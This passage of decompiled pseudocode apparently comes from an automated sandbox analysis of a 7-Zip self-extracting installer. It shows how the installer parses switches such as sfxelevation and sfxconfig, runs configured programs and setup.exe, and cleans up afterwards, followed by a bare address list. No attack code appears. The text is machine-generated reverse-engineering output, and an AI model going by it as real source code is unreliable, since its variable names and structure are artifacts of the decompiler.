					E004147DF(E004147DF(E004147DF(_t216, _t720 + 0x24), _t720 - 0x48), _t720 - 8); // executed
					E0040541A(_t626); // executed
					E00414864(_t720 - 8, E00403022(GetCommandLineW(), _t720 + 0x24));
					E0040457E(_t720 - 8, _t682, _t731);
					_t684 =  *(_t720 - 8);
					E00404F69(L"SfxVarModulePlatform", L"x86", _t731, 1);
					E00404F69(L"SfxVarSystemPlatform", E00403EF5(_t731), _t731, 1);
					E00404F69(L"SfxVarCmdLine0", GetCommandLineW(), _t731, 1);
					wsprintfW(E0040420B(_t720 + 0x24, _t230, 0x20), L"%d",  *0x422730 & 0x0000ffff);
					_t725 = _t723 + 0xc;
					E004041F0(_t720 + 0x24);
					E00404F69(L"SfxVarSystemLanguage",  *((intOrPtr*)(_t720 + 0x24)), _t731, 1);
					_t237 = E004056BA(_t684, L"sfxlang");
					if(_t237 == 0 ||  *_t237 != 0x3a) {
						L8:
						_t238 = E004056BA(_t684, L"sfxversion");
						_t736 = _t238;
						if(_t238 == 0) {
							_t239 = E004056BA(_t684, L"sfxwaitall");
							__eflags = _t239;
							if(_t239 == 0) {
								_t635 = L"sfxelevation";
								 *((char*)(_t720 + 0x67)) = 0;
								_t240 = E004056BA(_t684, L"sfxelevation");
								__eflags = _t240;
								if(_t240 != 0) {
									 *((char*)(_t720 + 0x67)) = 1;
									_t684 = _t240;
								}
								_t243 = GetModuleFileNameW(0, E0040420B(0x422844, _t635, 0x208), 0x208);
								__eflags = _t243;
								if(_t243 != 0) {
									E004041F0(0x422844);
									_t636 = L"sfxtest";
									_t701 = E004056BA(_t684, L"sfxtest");
									__eflags = _t701;
									if(_t701 == 0) {
										L66:
										E004148C7(0x422794, 0x422844);
										E004148C7(0x4227ac, 0x422844);
										_t248 = E00403813(0x422844, __eflags);
										__eflags = _t248;
										if(__eflags >= 0) {
											_t605 =  *0x422794; // 0x4652cc0
											 *0x422798 = _t248;
											 *((short*)(_t248 + _t248 + _t605)) = 0;
											_t406 =  *0x422844; // 0x4654af0
											_t38 = _t406 + 2; // 0x422846
											E00414864(0x4227ac, _t248 + _t248 + _t38);
											_t409 =  *0x422844; // 0x4654af0
											_t40 = _t409 + 2; // 0x422846
											E00414864(0x422890, _t248 + _t248 + _t40);
											_t412 = E00414A79(0x422890, 0x2e);
											__eflags = _t412;
											if(_t412 > 0) {
												_t636 =  *0x422890; // 0x4652520
												__eflags = 0;
												 *0x422894 = _t412;
												 *((short*)(_t636 + _t412 * 2)) = 0;
											}
											E004148C7(0x42285c, 0x422890);
											_t610 = 4;
											E00414922(0x42285c, E00403CE0(_t610));
											_t416 =  *0x422890; // 0x4652520
											_t612 =  *0x42285c; // 0x46505d0
											 *0x422738 = _t416;
											 *0x422760 = _t612;
											 *0x422764 = _t416;
										}
										E00414864(0x422850, E00403EF5(__eflags));
										_t452 = 0x4227b8;
										_t251 = E004012CF(0x4227b8, __eflags,  *0x422844);
										__eflags = _t251;
										if(_t251 != 0) {
											E00405EEB(E004143C2(_t251, _t720 + 0x58), 0x4227a0);
											_t484 =  *0x4227bc; // 0x566858
											_t637 = 0; // executed
											_t255 = E00405319(_t484, 0, __eflags, _t720 + 0x58); // executed
											_t703 = _t255;
											__eflags = _t703;
											if(_t703 == 0) {
												__eflags =  *0x4228d8;
												if( *0x4228d8 != 0) {
													L84:
													__eflags =  *0x4228d8 - 4;
													if( *0x4228d8 == 4) {
														L119:
														_push( *((intOrPtr*)(_t720 + 0x58)));
														L0041C160();
														goto L10;
													}
													_t256 =  *0x422158; // 0x1
													_t704 = 0x422158;
													while(1) {
														__eflags = _t256;
														if(__eflags == 0) {
															break;
														}
														wsprintfW(_t720 - 0xa0, L"SfxString%d", _t256);
														_t725 = _t725 + 0xc;
														_t259 = E00403CE0( *_t704); // executed
														_t637 = _t259;
														E00404F69(_t720 - 0xa0, _t259, __eflags, 0);
														_t704 = _t704 + 0x10;
														__eflags = _t704;
														_t256 =  *_t704;
													}
													_t488 = _t452;
													E004053FB(_t452, _t637, _t684);
													_t262 = E004016FE(__eflags);
													 *(_t720 + 0x10) = _t262;
													__eflags = _t262;
													if(_t262 != 0) {
														E00405729(_t488);
														_t705 = E00404F59();
														__eflags = _t705;
														if(__eflags == 0) {
															L101:
															E00405EEB(E00401303(_t452, __eflags), 0x4227a0);
															_t492 =  *0x4227bc; // 0x566858
															E00405319(_t492, 0, __eflags, 0); // executed
															E00405729(_t492);
															E00401368();
															E004016FE(__eflags);
															E00405729(_t452);
															__eflags =  *((char*)(_t720 + 0x67));
															if( *((char*)(_t720 + 0x67)) != 0) {
																L107:
																 *(_t720 + 0x3c) = 0;
																_t272 = E00404F59();
																while(1) {
																	_t685 = _t272;
																	__eflags = _t685;
																	if(_t685 == 0) {
																		break;
																	}
																	E00414803(_t720 + 0x40, _t685);
																	_t641 = 0x3d;
																	_t274 = E0041420C( *((intOrPtr*)(_t720 + 0x40)), _t641);
																	__eflags = _t274;
																	if(__eflags <= 0) {
																		_push( *((intOrPtr*)(_t720 + 0x40)));
																		L0041C160();
																		L113:
																		E00405D92();
																		__eflags =  *0x42245c - 0xffffffff;
																		if( *0x42245c == 0xffffffff) {
																			 *0x42245c = 0;
																		}
																		__eflags =  *0x4227cb; // 0x0
																		if(__eflags == 0) {
																			__eflags =  *0x4227c9; // 0x0
																			if(__eflags != 0) {
																				 *0x42245c =  *0x42245c & 0xfffffeff;
																				__eflags =  *0x42245c;
																			}
																			__imp__CoInitialize(0);
																			_t276 = E00404F59();
																			__eflags = _t276;
																			if(_t276 != 0) {
																				E00414864(0x42289c, _t276);
																				 *0x422740 = 1;
																			}
																			E00405517(0x42289c);
																			_t278 = E00404F59();
																			__eflags = _t278;
																			if(_t278 != 0) {
																				__imp___wtol(_t278);
																				 *0x422780 = _t278;
																			}
																			__eflags =  *0x4228e0; // 0x0
																			if(__eflags == 0) {
																				__eflags =  *0x4228d8 - 3;
																				if(__eflags != 0) {
																					_t709 = 0x41da3c;
																					E00404F69(L"SfxVarApiPath", 0x41da3c, __eflags, 0);
																					E00405D92();
																					_t281 = E00404F59();
																					__eflags = _t281;
																					if(_t281 != 0) {
																						__eflags =  *0x4227ca;
																						if( *0x4227ca == 0) {
																							E00407370(0x422868, 0);
																							_t665 =  *0x42286c; // 0x4658ff8
																							E00404F69(L"SfxVarApiPath", _t665, __eflags, 0);
																							E00405D92();
																							E00414803(_t720 + 0x30, 0x41da3c);
																							E00407370(0x422868, _t665);
																							_t666 =  *0x42286c; // 0x4658ff8
																							E004022F7(L"ExecuteOnLoad", _t666, 0x41da3c, _t720 + 0x30, 0x41da3c);
																							_push( *((intOrPtr*)(_t720 + 0x30)));
																							L0041C160();
																						}
																					}
																					E0040830C(0x4227f0);
																					while(1) {
																						_t283 = E00404F59();
																						__eflags = _t283;
																						if(_t283 == 0) {
																							goto L142;
																						}
																						__eflags =  *0x4227c9;
																						if( *0x4227c9 != 0) {
																							goto L142;
																						}
																						_t558 =  *0x422738; // 0x4652520
																						_t350 = E00408B40(_t558, _t283);
																						__eflags = _t350;
																						if(_t350 == 0) {
																							_push( *((intOrPtr*)(_t720 + 0x58)));
																							L0041C160();
																							L165:
																							_push(5);
																							goto L22;
																						}
																						_t283 = GetKeyState(0x10);
																						__eflags = 0x00008000 & _t283;
																						if((0x00008000 & _t283) != 0) {
																							 *0x4227c8 = 0x101;
																						}
																						__eflags =  *0x4228c0;
																						if( *0x4228c0 != 0) {
																							 *0x42245c =  *0x42245c & 0xffffff7f;
																							__eflags =  *0x42245c;
																						}
																						L142:
																						E004147DF(_t283, _t720 + 0x4c);
																						__eflags =  *0x4227c8;
																						if( *0x4227c8 == 0) {
																							L152:
																							__eflags =  *(_t720 + 0x50);
																							 *((char*)(_t720 + 0x14)) = 0;
																							if( *(_t720 + 0x50) == 0) {
																								_t339 = E00404F59();
																								__eflags = _t339;
																								if(_t339 != 0) {
																									E00414864(_t720 + 0x4c, L"ExecuteFile");
																									 *((char*)(_t720 + 0x14)) = 1;
																								}
																								__eflags =  *(_t720 + 0x50);
																								if( *(_t720 + 0x50) == 0) {
																									_t340 = E00404F59();
																									__eflags = _t340;
																									if(_t340 != 0) {
																										E00414864(_t720 + 0x4c, L"RunProgram");
																									}
																								}
																							}
																							__eflags =  *0x4227c8;
																							if( *0x4227c8 != 0) {
																								L168:
																								__eflags =  *0x4228a0;
																								if(__eflags != 0) {
																									E00414839(_t720 + 0x18, 0x42289c);
																									E00405517(_t720 + 0x18);
																									__eflags =  *(_t720 + 0x1c);
																									if( *(_t720 + 0x1c) != 0) {
																										E004148C7(0x42289c, _t720 + 0x18);
																									}
																									_push( *((intOrPtr*)(_t720 + 0x18)));
																									 *0x422740 = 1;
																									L0041C160();
																								} else {
																									E004148C7(0x42289c, E004042B5(L"7ZipSfx.%03x", __eflags));
																									_push( *((intOrPtr*)(_t720 - 0x14)));
																									L0041C160();
																									 *0x422740 = 0;
																								}
																								_t287 =  *0x42289c; // 0x4658d20
																								_t509 =  *0x4228a0; // 0x2c
																								_t162 = _t509 * 2; // 0x438e00
																								_t647 =  *(_t287 + _t162 - 2) & 0x0000ffff;
																								__eflags = _t647 - 0x5c;
																								if(_t647 == 0x5c) {
																									L175:
																									_t510 = _t509 - 1;
																									__eflags = 0;
																									 *0x4228a0 = _t510;
																									 *((short*)(_t287 + _t510 * 2)) = 0;
																									goto L176;
																								} else {
																									__eflags = _t647 - 0x2f;
																									if(_t647 != 0x2f) {
																										L176:
																										__eflags =  *0x4227c9;
																										if( *0x4227c9 != 0) {
																											 *0x422774 =  *0x422774 | 0x00000003;
																											__eflags =  *0x422774;
																										}
																										E00414803(_t720 - 0x20, L"PreExtract");
																										_t289 =  *0x4227c4; // 0x41d648
																										E00401585(_t720 - 0x20,  *_t289 & 0x0000ffff);
																										_t649 = 0;
																										_t292 = E00404F59();
																										__eflags = _t292;
																										if(_t292 != 0) {
																											__eflags =  *0x4227ca;
																											if( *0x4227ca == 0) {
																												E00407370(0x422868, 0);
																												_t658 =  *0x42286c; // 0x4658ff8
																												E00404F69(L"SfxVarApiPath", _t658, __eflags, 0); // executed
																												E00405D92(); // executed
																												E00414803(_t720 + 0x30, _t709);
																												_t328 =  *0x4227c4; // 0x41d648
																												 *(_t720 - 0x24) = _t328;
																												E00407370(0x422868, _t658);
																												_t649 =  *0x42286c; // 0x4658ff8
																												E004022F7(L"PreExtract", _t649,  *(_t720 - 0x24), _t720 + 0x30, _t709); // executed
																												_push( *((intOrPtr*)(_t720 + 0x30)));
																												L0041C160();
																											}
																										}
																										__eflags =  *0x4228d4;
																										if(__eflags != 0) {
																											_t293 = E00408C2E(_t649);
																											__eflags = _t293;
																											if(_t293 != 0) {
																												goto L187;
																											}
																											_t322 = 0x80004005;
																											goto L185;
																										} else {
																											_t322 = E00402CB1(0x42289c, _t649, __eflags);
																											L185:
																											__eflags = _t322;
																											if(_t322 == 0) {
																												L187:
																												_t294 = E00405D92();
																												__eflags =  *0x4227ca;
																												if( *0x4227ca == 0) {
																													L189:
																													E004147DF(E004147DF(_t294, _t720 + 0x40), _t720 + 4);
																													__eflags =  *0x4227c8;
																													if( *0x4227c8 == 0) {
																														E00401B82(_t720 + 0x40);
																													}
																													_t455 = 0;
																													__eflags =  *(_t720 + 0x50);
																													if( *(_t720 + 0x50) != 0) {
																														_t650 =  *0x42289c; // 0x4658d20
																														E004022F7( *((intOrPtr*)(_t720 + 0x4c)), _t650,  *0x4227c4, _t720 + 0x40,  *(_t720 + 0x10));
																														goto L197;
																													} else {
																														__eflags =  *0x422740 - _t455; // 0x1
																														if(__eflags != 0) {
																															L197:
																															__eflags =  *0x4228d8 - _t455; // 0x0
																															if(__eflags == 0) {
																																E00405D92();
																																E004059A3(E00405DE7, L"Shortcut", __eflags,  *0x4227c4, 0xffffffff);
																																SetCurrentDirectoryW( *0x422794);
																																E004059A3(E00405979, L"Delete", __eflags,  *0x4227c4, 0xffffffff);
																																E00405A7A();
																															}
																															_push( *(_t720 + 4));
																															L0041C160();
																															_push( *((intOrPtr*)(_t720 + 0x40)));
																															L0041C160();
																															L201:
																															__eflags =  *0x422468 - 0xffffffff;
																															if( *0x422468 != 0xffffffff) {
																																L204:
																																__eflags =  *0x422468 - _t455; // 0xffffffff
																																if(__eflags > 0) {
																																	_t709 = E00404F59();
																																	__eflags = _t709 - _t455;
																																	if(_t709 != _t455) {
																																		__eflags =  *0x422468 - 0x3e7; // 0xffffffff
																																		if(__eflags > 0) {
																																			 *0x422468 = 0x3e7;
																																		}
																																		E004075CF(_t720 - 0x98, 0, __eflags);
																																		 *((intOrPtr*)(_t720 - 0x98)) = 0x41ebb4;
																																		 *((intOrPtr*)(_t720 - 0x60)) = 0x7d5;
																																		E00407630(E00407941(_t720 - 0x98, 0x11,  *0x422738, _t709, _t455), _t720 - 0x98);
																																	}
																																}
																																L209:
																																__eflags =  *0x4227ca;
																																if( *0x4227ca == 0) {
																																	__eflags =  *0x4228d8 - _t455; // 0x0
																																	if(__eflags == 0) {
																																		_t299 = E00404F59();
																																		__eflags = _t299 - _t455;
																																		if(_t299 != _t455) {
																																			__eflags =  *_t299 - 0x31;
																																			if( *_t299 == 0x31) {
																																				E00414839(_t725, 0x422844);
																																				E00405AA6(_t709);
																																			}
																																		}
																																	}
																																}
																																_push( *((intOrPtr*)(_t720 - 0x20)));
																																L0041C160();
																																_push( *((intOrPtr*)(_t720 + 0x4c)));
																																L0041C160();
																																_push( *((intOrPtr*)(_t720 + 0x58)));
																																L0041C160();
																																_push( *(_t720 - 8));
																																L0041C160();
																																_push( *((intOrPtr*)(_t720 - 0x48)));
																																L0041C160();
																																_push( *((intOrPtr*)(_t720 + 0x24)));
																																L0041C160();
																																_t218 = 0;
																																goto L216;
																															}
																															__eflags =  *0x4227c9;
																															if( *0x4227c9 != 0) {
																																goto L209;
																															}
																															 *0x422468 = 1;
																															goto L204;
																														}
																														_t709 = L"setup.exe";
																														_t656 = E00414787(_t720 - 0x3c, 0x42289c, "\\");
																														E00414864(_t720 + 4,  *((intOrPtr*)(E00414787(_t720 - 0x14, _t312, L"setup.exe"))));
																														_push( *((intOrPtr*)(_t720 - 0x14)));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 - 0x3c)));
																														L0041C160();
																														_t315 = GetFileAttributesW( *(_t720 + 4));
																														__eflags = _t315 - 0xffffffff;
																														if(_t315 != 0xffffffff) {
																															_t689 =  *0x42289c; // 0x4658d20
																															E00414803(_t720 + 0x30, L"setup.exe");
																															E00402008(_t720 + 0x30, _t689,  *((intOrPtr*)(_t720 + 0x14)), _t720 + 0x40,  *(_t720 + 0x10));
																															_push( *((intOrPtr*)(_t720 + 0x30)));
																															L0041C160();
																															goto L197;
																														}
																														E00405A7A();
																														_push(0xf);
																														_push(0);
																														E00409684(_t656);
																														_push( *(_t720 + 4));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 + 0x40)));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 - 0x20)));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 + 0x4c)));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 + 0x58)));
																														L0041C160();
																														_t725 = _t725 + 0x1c;
																														L35:
																														_push(7);
																														goto L22;
																													}
																												}
																												__eflags =  *0x422740;
																												if( *0x422740 != 0) {
																													_t455 = 0;
																													__eflags = 0;
																													goto L201;
																												}
																												goto L189;
																											}
																											E00405A7A();
																											_push( *((intOrPtr*)(_t720 - 0x20)));
																											L0041C160();
																											_push( *((intOrPtr*)(_t720 + 0x4c)));
																											L0041C160();
																											_push( *((intOrPtr*)(_t720 + 0x58)));
																											L0041C160();
																											_t725 = _t725 + 0xc;
																											_push(8);
																											goto L22;
																										}
																									}
																									goto L175;
																								}
																							} else {
																								__eflags =  *0x4227c9;
																								if( *0x4227c9 != 0) {
																									goto L168;
																								}
																								_t336 =  *0x42245c; // 0x0
																								__eflags = (_t336 & 0x000000c0) - 0x80;
																								if((_t336 & 0x000000c0) != 0x80) {
																									goto L168;
																								}
																								_t660 =  *0x422748; // 0x56daa0
																								_t546 =  *0x422754; // 0x56da70
																								_t338 = E00408BDB(_t546, _t660);
																								__eflags = _t338;
																								if(_t338 != 0) {
																									goto L168;
																								}
																								_push( *((intOrPtr*)(_t720 + 0x4c)));
																								__eflags =  *0x422784 - _t338; // 0x0
																								if(__eflags == 0) {
																									L0041C160();
																									_push( *((intOrPtr*)(_t720 + 0x58)));
																									L0041C160();
																									goto L165;
																								}
																								L0041C160();
																								continue;
																							}
																						}
																						_t690 =  *0x4227c4; // 0x41d648
																						while(1) {
																							E00414864(_t720 + 0x4c, L"AutoInstall");
																							E00401585(_t720 + 0x4c,  *_t690 & 0x0000ffff);
																							_t346 = E00404F59();
																							__eflags = _t346;
																							if(_t346 == 0) {
																								break;
																							}
																							_t690 =  &(_t690[1]);
																							_t348 =  *_t690 & 0x0000ffff;
																							__eflags = _t348 - 0x30;
																							if(_t348 < 0x30) {
																								L147:
																								__eflags = _t348 - 0x61;
																								if(_t348 < 0x61) {
																									L149:
																									__eflags = _t348 - 0x41;
																									if(_t348 < 0x41) {
																										L151:
																										E00414864(_t720 + 0x4c, L"AutoInstall");
																										goto L152;
																									}
																									__eflags = _t348 - 0x5a;
																									if(_t348 <= 0x5a) {
																										continue;
																									}
																									goto L151;
																								}
																								__eflags = _t348 - 0x7a;
																								if(_t348 <= 0x7a) {
																									continue;
																								}
																								goto L149;
																							}
																							__eflags = _t348 - 0x39;
																							if(_t348 <= 0x39) {
																								continue;
																							}
																							goto L147;
																						}
																						E00409684(0, 0, 0xe,  *((intOrPtr*)(_t720 + 0x4c)));
																						_push( *((intOrPtr*)(_t720 + 0x4c)));
																						L0041C160();
																						_push( *((intOrPtr*)(_t720 + 0x58)));
																						L0041C160();
																						_t725 = _t725 + 0x14;
																						_push(6);
																						goto L22;
																					}
																				}
																				_t358 = E00409E83();
																				goto L128;
																			} else {
																				_t358 = E00409F61();
																				L128:
																				_t703 = _t358;
																				goto L73;
																			}
																		} else {
																			_t360 = E00404F59();
																			_t710 = _t360;
																			__eflags = _t360;
																			if(__eflags == 0) {
																				_t573 = 0x18;
																				_t710 = E00403CE0(_t573);
																			}
																			E004075CF(_t720 - 0x9c, 0, __eflags);
																			 *((intOrPtr*)(_t720 - 0x9c)) = 0x41eaa0;
																			 *((intOrPtr*)(_t720 - 0x64)) = 0x7d6;
																			E00407630(E00407941(_t720 - 0x9c, 0x11,  *0x422738, _t710, 0), _t720 - 0x9c);
																			goto L119;
																		}
																	}
																	 *(_t720 + 0x44) = _t274;
																	 *((short*)( *((intOrPtr*)(_t720 + 0x40)) + _t274 + _t274)) = 0;
																	_t120 = _t685 + 2; // 0x2
																	E00404F69( *((intOrPtr*)(_t720 + 0x40)), _t274 + _t274 + _t120, __eflags, 0);
																	_push( *((intOrPtr*)(_t720 + 0x40)));
																	_t122 = _t720 + 0x3c;
																	 *_t122 =  *(_t720 + 0x3c) + 1;
																	__eflags =  *_t122;
																	L0041C160();
																	_t272 = E00404F59();
																}
																goto L113;
															}
															__eflags =  *0x422774 & 0x00000004;
															if(( *0x422774 & 0x00000004) == 0) {
																goto L107;
															}
															_t367 = E00403F0A();
															__eflags = _t367;
															if(_t367 != 0) {
																goto L107;
															}
															E004147DF(E004147DF(_t367, _t720 + 0x18), _t720 - 0x30);
															E00414803(_t720 + 0x30, E00403022(GetCommandLineW(), _t720 + 0x18));
															E004146E1(_t720 + 4, __eflags, E00414787(_t720 - 0xac, E00414787(_t720 - 0x3c, E004147B1(_t720 - 0x14, "\"", _t720 + 0x18), L"\" -"), L"sfxelevation"), 0x20);
															E00414864(_t720 - 0x30,  *((intOrPtr*)(E0041476B(_t720 + 0x40, _t720 + 4, _t720 + 0x30))));
															_push( *((intOrPtr*)(_t720 + 0x40)));
															L0041C160();
															_push( *(_t720 + 4));
															L0041C160();
															_push( *((intOrPtr*)(_t720 - 0xac)));
															L0041C160();
															_push( *((intOrPtr*)(_t720 - 0x3c)));
															L0041C160();
															_push( *((intOrPtr*)(_t720 - 0x14)));
															L0041C160();
															_t728 = _t725 + 0x14;
															SetProcessWorkingSetSize(GetCurrentProcess(), 0xffffffff, 0xffffffff);
															_push(0);
															_t676 = 2;
															_t383 = E00401C59( *((intOrPtr*)(_t720 - 0x30)), _t676, __eflags);
															_push( *((intOrPtr*)(_t720 + 0x30)));
															__eflags = _t383;
															if(_t383 != 0) {
																L0041C160();
																_push( *((intOrPtr*)(_t720 - 0x30)));
																L0041C160();
																_push( *((intOrPtr*)(_t720 + 0x18)));
																L0041C160();
																_push( *((intOrPtr*)(_t720 + 0x58)));
																L0041C160();
																_t725 = _t728 + 0x10;
																goto L10;
															}
															L0041C160();
															_push( *((intOrPtr*)(_t720 - 0x30)));
															L0041C160();
															_push( *((intOrPtr*)(_t720 + 0x18)));
															L0041C160();
															_push( *((intOrPtr*)(_t720 + 0x58)));
															L0041C160();
															_t725 = _t728 + 0x10;
															_push(0xb);
															goto L22;
														}
														E0040B100(_t720 - 0x158);
														E0040B350(_t720 - 0x158, _t705, lstrlenW(_t705) + _t385);
														E0040B600(_t720 - 0x158, _t720 - 0xcc);
														_t592 = 8;
														memcpy(_t720 - 0xf0, "123456789ABCDEFGHJKMNPQRSTUVWXYZ", _t592 << 2);
														_t725 = _t725 + 0xc;
														asm("movsb");
														_t594 = 0;
														__eflags = 0;
														do {
															_t679 =  *(_t720 + _t594 * 4 - 0xbc);
															 *(_t720 + _t594 * 4 - 0xcc) =  *(_t720 + _t594 * 4 - 0xcc) ^ _t679;
															_t594 = _t594 + 1;
															__eflags = _t594 - 4;
														} while (_t594 < 4);
														_t456 = 0;
														_t696 = 0;
														__eflags = 0;
														do {
															asm("cdq");
															_t679 = _t679 & 0x00000007;
															_t712 =  *(_t720 + (_t696 + _t679 >> 3) - 0xcc) & 0x000000ff;
															_t596 = _t696 & 0x80000007;
															__eflags = _t596;
															if(_t596 < 0) {
																_t596 = (_t596 - 0x00000001 | 0xfffffff8) + 1;
																__eflags = _t596;
															}
															_t714 = _t712 >> _t596 & 0x0000001f;
															__eflags = _t696;
															if(_t696 != 0) {
																asm("cdq");
																_t598 = 0x19;
																_t679 = _t696 % _t598;
																__eflags = _t679;
																if(_t679 == 0) {
																	_t400 = 0x2d;
																	 *((short*)(_t720 + _t456 * 2 - 0x88)) = _t400;
																	_t456 = _t456 + 1;
																	__eflags = _t456;
																}
															}
															 *((short*)(_t720 + _t456 * 2 - 0x88)) =  *((char*)(_t720 + _t714 - 0xf0));
															_t696 = _t696 + 5;
															_t456 = _t456 + 1;
															__eflags = _t696 - 0x7d;
														} while (_t696 < 0x7d);
														__eflags = 0;
														 *((short*)(_t720 + _t456 * 2 - 0x88)) = 0;
														E00414864(0x422708, _t720 - 0x88);
														 *0x422700 = 1;
														_t452 = 0x4227b8;
														goto L101;
													}
													_push( *((intOrPtr*)(_t720 + 0x58)));
													L0041C160();
													_push(0x20);
													goto L22;
												}
												_t637 = L"sfxconfig";
												_t401 = E004056BA(_t684, L"sfxconfig");
												__eflags = _t401;
												if(_t401 == 0) {
													goto L84;
												}
												__eflags =  *_t401 - 0x3a;
												if( *_t401 == 0x3a) {
													_t401 =  &(_t401[1]);
													__eflags = _t401;
												}
												_t603 =  *_t401 & 0x0000ffff;
												__eflags = _t603;
												if(_t603 == 0) {
													goto L119;
												} else {
													while(1) {
														__eflags = _t603 - 0x20;
														if(_t603 > 0x20) {
															break;
														}
														_t401 =  &(_t401[1]);
														_t603 =  *_t401 & 0x0000ffff;
														__eflags = _t603;
														if(_t603 != 0) {
															continue;
														}
														break;
													}
													__eflags =  *_t401;
													if( *_t401 == 0) {
														goto L119;
													}
													_t680 = _t720 + 0x58;
													_t402 = E00405F0F(_t401, _t720 + 0x58);
													__eflags = _t402;
													if(_t402 != 0) {
														goto L119;
													}
													_push(0xa);
													_push(0);
													E00409684(_t680);
													_push( *((intOrPtr*)(_t720 + 0x58)));
													L0041C160();
													_t725 = _t725 + 0xc;
													_push(4);
													goto L22;
												}
											}
											L73:
											_push( *((intOrPtr*)(_t720 + 0x58)));
											L0041C160();
											goto L18;
										} else {
											E00409684(_t636, 1, 7,  *0x422844);
											_t725 = _t725 + 0xc;
											_push(2);
											L22:
											_pop(_t703);
											goto L11;
										}
									}
									__eflags =  *_t701 - 0x3a;
									if( *_t701 == 0x3a) {
										_t614 =  *(_t701 + 2) & 0x0000ffff;
										_t697 = 0x20;
										_t419 = (_t614 | _t697) - 0x61;
										__eflags = _t419;
										if(_t419 == 0) {
											 *0x4228d8 = 2;
											while(1) {
												L57:
												__eflags =  *_t701 - _t697;
												if( *_t701 <= _t697) {
													break;
												}
												_t701 = _t701 + 2;
												__eflags = _t701;
											}
											_t636 = L"sfxconfig";
											_t684 = _t701;
											_t420 = E004056BA(_t701, L"sfxconfig");
											__eflags = _t420;
											if(_t420 == 0) {
												goto L66;
											}
											__eflags =  *_t420 - 0x3a;
											if( *_t420 != 0x3a) {
												L63:
												_t616 =  *_t420 & 0x0000ffff;
												__eflags = _t616;
												if(_t616 != 0) {
													__eflags = _t616 - 0x20;
													if(_t616 > 0x20) {
														goto L64;
													}
													L62:
													_t420 = _t420 + 2;
													__eflags = _t420;
													goto L63;
												}
												L64:
												 *(_t720 + 0x28) =  *(_t720 + 0x28) & 0x00000000;
												 *((short*)( *((intOrPtr*)(_t720 + 0x24)))) = 0;
												_t636 = _t720 + 0x24;
												_t421 = E00403022(_t420, _t720 + 0x24);
												__eflags =  *0x4228d8 - 2;
												_t684 = _t421;
												if( *0x4228d8 != 2) {
													E004148C7(0x422844, _t720 + 0x24);
												}
												goto L66;
											}
											goto L62;
										}
										_t425 = _t419;
										__eflags = _t425;
										if(_t425 == 0) {
											__eflags =  *(_t701 + 4) - 0x63;
											 *0x4228d8 = (0 |  *(_t701 + 4) == 0x00000063) + 3;
											goto L57;
										}
										_t429 = _t425 - 1;
										__eflags = _t429;
										if(_t429 == 0) {
											__eflags = _t614 - 0x44;
											if(_t614 != 0x44) {
												_t701 = _t701 + 4;
												__eflags = _t701;
												L49:
												 *0x4228d4 =  *0x4228d4 & 0x00000000;
												__eflags =  *_t701 - 0x3a;
												if( *_t701 != 0x3a) {
													L52:
													 *0x4228d4 = 0xa;
													L53:
													 *0x4228d8 = 1;
													goto L57;
												}
												_t26 = _t701 + 2; // -2
												_t430 = _t26;
												__imp___wtol(_t430);
												 *0x4228d4 = _t430;
												__eflags = _t430 - 0xe10;
												if(_t430 > 0xe10) {
													goto L52;
												}
												__eflags = _t430;
												if(_t430 != 0) {
													goto L53;
												}
												goto L52;
											}
											__eflags =  *(_t701 + 4) - 0x3a;
											if( *(_t701 + 4) != 0x3a) {
												goto L21;
											}
											_t701 = _t701 + 6;
											while(1) {
												_t431 =  *_t701 & 0x0000ffff;
												__eflags = _t431 - _t697;
												if(_t431 <= _t697) {
													break;
												}
												__eflags = _t431 - 0x3a;
												if(_t431 == 0x3a) {
													break;
												}
												E00401585(0x4228dc, _t431 & 0x0000ffff);
												_t701 = _t701 + 2;
												__eflags = _t701;
											}
											__eflags =  *0x4228e0;
											if( *0x4228e0 != 0) {
												goto L49;
											}
											goto L21;
										}
										_t434 = _t429 - 0xb;
										__eflags = _t434;
										if(_t434 == 0) {
											__eflags =  *(_t701 + 4) - 0x3a;
											if( *(_t701 + 4) != 0x3a) {
												goto L10;
											}
											_t436 = ( *(_t701 + 6) & 0x0000ffff) - 0x31;
											__eflags = _t436;
											if(_t436 == 0) {
												_t703 = 1;
												goto L11;
											}
											_t437 = _t436 - 1;
											__eflags = _t437;
											if(_t437 == 0) {
												_t703 = 0x5ff;
												goto L11;
											}
											_t438 = _t437 - 1;
											__eflags = _t438;
											if(_t438 == 0) {
												_push(0x1f);
												goto L22;
											}
											_t439 = _t438 - 1;
											__eflags = _t439;
											if(_t439 == 0) {
												_t703 = 0x3fff;
												goto L11;
											}
											__eflags = _t439 != 1;
											if(_t439 != 1) {
												goto L10;
											}
											goto L35;
										}
										__eflags = _t434 != 7;
										if(_t434 != 7) {
											goto L21;
										} else {
											_t703 = 0x4f3c;
											goto L11;
										}
									}
									L21:
									_push(0x64);
									goto L22;
								} else {
									_t703 = 1;
									__eflags = 1;
									_push(6);
									_push(1);
									E00409684(_t635);
									L18:
									goto L11;
								}
							} else {
								_t703 = E00401FAC(_t239, _t684);
								goto L11;
							}
						} else {
							E00405CA1(L"sfxversion", _t684, _t736);
							L10:
							_t703 = 0;
							L11:
							_push( *(_t720 - 8));
							L0041C160();
							_push( *((intOrPtr*)(_t720 - 0x48)));
							L0041C160();
							_push( *((intOrPtr*)(_t720 + 0x24)));
							L0041C160();
							_t218 = _t703;
							L216:
							return _t218;
						}
					} else {
						_t445 = _t237 + 2;
						__imp___wtol(_t445);
						_t16 = _t445 - 1; // -1
						if(_t16 <= 0xfffe) {
							 *0x422730 = _t445;
						}
						do {
							_t684 = _t684 + 2;
						} while ( *_t684 > 0x20);
						goto L8;
					}
				}
			}

0x00406024
0x00406025
0x00406029
0x00406037
0x0040603e
0x0040604a
0x0040605c
0x00406ff3
0x00407001
0x00407009
0x00000000
0x0040606f
0x0040606f
0x00406076
0x00000000
0x00000000
0x0040607f
0x00406086
0x0040609d
0x004060a2
0x004060bd
0x004060c5
0x004060ca
0x004060db
0x004060ed
0x004060fc
0x00406119
0x0040611f
0x00406125
0x00406133
0x0040613f
0x00406146
0x00406173
0x0040617a
0x0040617f
0x00406181
0x004061b3
0x004061b8
0x004061ba
0x004061c7
0x004061ce
0x004061d2
0x004061d7
0x004061d9
0x004061db
0x004061df
0x004061df
0x004061f7
0x004061fd
0x004061ff
0x00406215
0x0040621a
0x00406226
0x00406228
0x0040622a
0x004063bb
